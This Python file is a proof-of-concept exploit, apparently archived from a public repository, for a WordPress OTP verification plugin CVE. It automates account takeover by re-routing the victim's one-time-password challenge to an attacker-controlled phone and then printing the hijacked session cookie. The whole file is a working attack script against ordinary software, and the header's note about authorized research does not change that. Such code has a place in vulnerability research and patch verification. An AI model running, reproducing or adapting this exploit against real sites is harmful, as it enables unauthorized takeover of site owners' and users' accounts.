#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/KevineCharles/CVE-2026-106610-miniorange-otp-ato (see README for attribution/license)
"""
PoC - CVE-2026-106610
miniOrange OTP Verification <= 5.5.7 - Account Takeover via OTP re-routing

Precondition: target site has "Login with only OTP" (phone verification,
skip-password) enabled in the plugin settings. The victim account has a
registered phone number. The attacker needs no account - only the victim's
WordPress username and a phone number the attacker can receive SMS on.

Usage:
    python3 poc_miniorange_otp_ato.py <base_url> <victim_username> <attacker_phone>

Example:
    python3 poc_miniorange_otp_ato.py https://victim-site.example admin 15555550123

The script will pause and ask you to enter the OTP code received on
<attacker_phone>, then complete the takeover and print the stolen
wordpress_logged_in_* cookie.
"""
import sys
import re
import urllib.request
import urllib.parse
import http.cookiejar

def main():
    if len(sys.argv) != 4:
        print(__doc__)
        sys.exit(1)

    base, victim_user, attacker_phone = sys.argv[1], sys.argv[2], sys.argv[3]
    login_url = base.rstrip("/") + "/wp-login.php"

    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

    def post(data):
        body = urllib.parse.urlencode(data).encode()
        req = urllib.request.Request(login_url, data=body, method="POST")
        return opener.open(req, timeout=15)

    def get(url):
        return opener.open(url, timeout=15)

    # Step 1 - start a login attempt as the victim (skip-password: pwd left empty)
    print("[1] Starting login attempt as", victim_user)
    post({
        "log": victim_user,
        "pwd": "",
        "wp-submit": "Log In",
        "redirect_to": base.rstrip("/") + "/wp-admin/",
    })

    # Step 2 - extract the anonymous OTP popup nonce from the login page
    print("[2] Fetching login page to extract mopopup_wpnonce")
    html = get(login_url).read().decode("utf-8", "ignore")
    m = re.search(r'name=["\']mopopup_wpnonce["\']\s+value=["\']([a-f0-9]+)["\']', html)
    if not m:
        m = re.search(r'mopopup_wpnonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']', html)
    if not m:
        print("    Could not find mopopup_wpnonce - plugin not active or markup changed.")
        sys.exit(1)
    nonce = m.group(1)
    print("    nonce =", nonce)

    # Step 3 - re-route the OTP challenge to the attacker's own phone number
    print("[3] Requesting OTP, re-routed to attacker phone", attacker_phone)
    post({
        "mo_external_popup_option": "miniorange-ajax-otp-generate",
        "mopopup_wpnonce": nonce,
        "user_phone": attacker_phone,
    })

    # Step 4 - validate using the OTP code the attacker received
    code = input("[4] Enter the OTP code received on the attacker's phone: ").strip()
    post({
        "mo_external_popup_option": "miniorange-ajax-otp-validate",
        "mopopup_wpnonce": nonce,
        "user_phone": attacker_phone,
        "mo_otp_token": code,
    })

    # Step 5 - resubmit the login form; server-side gate now passes
    print("[5] Re-submitting login as", victim_user)
    resp = post({
        "log": victim_user,
        "pwd": "",
        "wp-submit": "Log In",
        "redirect_to": base.rstrip("/") + "/wp-admin/",
    })

    cookies = [c for c in cj if c.name.startswith("wordpress_logged_in")]
    if cookies:
        print("\n[+] ACCOUNT TAKEOVER SUCCESSFUL")
        for c in cookies:
            print("    ", c.name, "=", c.value)
        # verification step
        prof = get(base.rstrip("/") + "/wp-admin/profile.php").read().decode("utf-8", "ignore")
        print("    profile.php length:", len(prof), "- contains victim username:", victim_user in prof)
    else:
        print("\n[-] No wordpress_logged_in_* cookie obtained - target may be patched (>=5.5.8) or misconfigured.")

if __name__ == "__main__":
    main()
